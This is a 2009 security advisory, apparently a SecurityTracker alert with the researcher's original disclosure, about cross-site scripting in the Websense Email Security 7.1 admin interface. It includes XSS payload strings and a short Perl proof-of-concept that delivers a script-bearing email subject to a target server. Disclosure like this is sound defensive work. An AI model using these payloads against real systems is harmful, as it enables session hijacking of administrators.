Websense Email Security Input Validation Flaws in Administrative Interface Permis Cross-Site Scripting Attacks
SecurityTracker Alert ID: 1023069|
SecurityTracker URL: http://securitytracker.com/id/1023069
(Links to External Site)
Updated: Oct 23 2009|
Original Entry Date: Oct 21 2009
Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information|
Fix Available: Yes Vendor Confirmed: Yes Exploit Included: Yes |
Version(s): 7.1 prior to Hotfix 4|
A vulnerability was reported in Websense Email Security. A remote user can conduct cross-site scripting attacks.|
The administrative interface does not properly filter HTML code from user-supplied input before displaying the input. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the Websense software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Some demonstration exploit URLs are provided:
The Subject field of processed e-mail is also affected.
The vendor was notified on October 1, 2009.
Personal Email Manager is also affected.
Nikolas Sotiriu of NSO Research reported this vulnerability.
A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the Websense Email Security software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.|
The vendor has issued a fix (7.1 Hotfix 4, 7.2).|
The vendor's advisory is available at:
Vendor URL: kb.websense.com/display/4/kb/article.aspx?aid=4786 (Links to External Site)
Input validation error|
|Underlying OS: Linux (Red Hat Enterprise), Linux (Red Hat Fedora), UNIX (Solaris - SunOS), Windows (2000), Windows (2003)|
Source Message Contents
Subject: NSOADV-2009-003: Websense Email Security Cross Site Scripting|
Security Advisory NSOADV-2009-003
Title: Websense Email Security Cross Site Scripting
Advisory ID: NSOADV-2009-003
Found Date: 28.09.2009
Date Reported: 01.10.2009
Release Date: 20.10.2009
Author: Nikolas Sotiriu
Mail: nso-research (at) sotiriu.de
Vendor: Websense (http://www.websense.com/)
Affected Products: Websense Email Security v7.1
Personal Email Manager v7.1
Not Affected Products: Websense Email Security v7.1 Hotfix 4
Personal Email Manager v7.1 Hotfix 4
Remote Exploitable: Yes
Local Exploitable: Yes
Patch Status: Patched with Hotfix 4
Disclosure Policy: http://sotiriu.de/policy.html
Thanks to: Thierry Zoller: for the permission to use his
Websense Email Security software incorporates multiple layers of
real-time Web security and data security intelligence to provide
leading email protection from converged email and Web 2.0 threats.
It helps to manage outbound data leaks and compliance risk, and enables
a consolidated security strategy with the trusted leader in Essential
(Product description from Websense Website)
The Websense Email Security Web Administrator is a webfrontend, which
enables you to access the message administration, directory management
and to view the log.
1. XSS in webfrontend:
The webfrontend do not properly sanitize some variables before being
returned to the user.
This can be exploited to execute arbitrary HTML and script code in a
user's browser session in context of the Web Administrator frontend.
2. XSS in webfrontend through a Mail Subject:
The Subject of an email sent through the Websense Mail Security
server is not properly sanitized before shown in the Web Administrator
Script code like "><script>alert('X')</script> will be executed in
the users's browser in context of the Web Administrator frontend.
The Mail has to be hold in a Queue to execute the code if the
administrator checks it. A Subject like
will result in a hold in the Anti Spam Queue.
Proof of Concept :
(($server = $ARGV) && ($rcpt = $ARGV)) || die "Usage: $0",
"<server> <Recipient> \n";
my $from_address = '<email@example.com>';
my $to_address = "<" . $rcpt . ">";
my $mail_host = $server;
my $subject = 'VIAGRA XSS File "><BODY ONLOAD=alert(\'XSS\')>';
my $message_body = "XSS Test File";
$msg = MIME::Lite->new (
From => $from_address,
To => $to_address,
Subject => $subject,
) or die "Error creating multipart container: $!\n";
Type => 'TEXT',
Data => $message_body
) or die "Error adding the text message part: $!\n";
MIME::Lite->send('smtp', $mail_host, Timeout=>60);
Vendor released a patch.
Disclosure Timeline (YYYY/MM/DD):
2009.09.28: Vulnerability found
2009.10.01: Ask for a PGP Key
2009.10.01: Websense sent there PGP Key
2009.10.01: Sent PoC, Advisory, Disclosure policy and planned disclosure
date to Vendor
2009.10.08: Websense verifies the finding
2009.10.13: Websense fixed it. The path will be available in Version 7.2
which will be released in ~2 weeks
2009.10.13: Ask for a list of affected versions/products and changed the
release date to 2009.10.29.
2009.10.20: Found the KB article and the Hotfix on Websense website
2009.10.20: Release of this advisory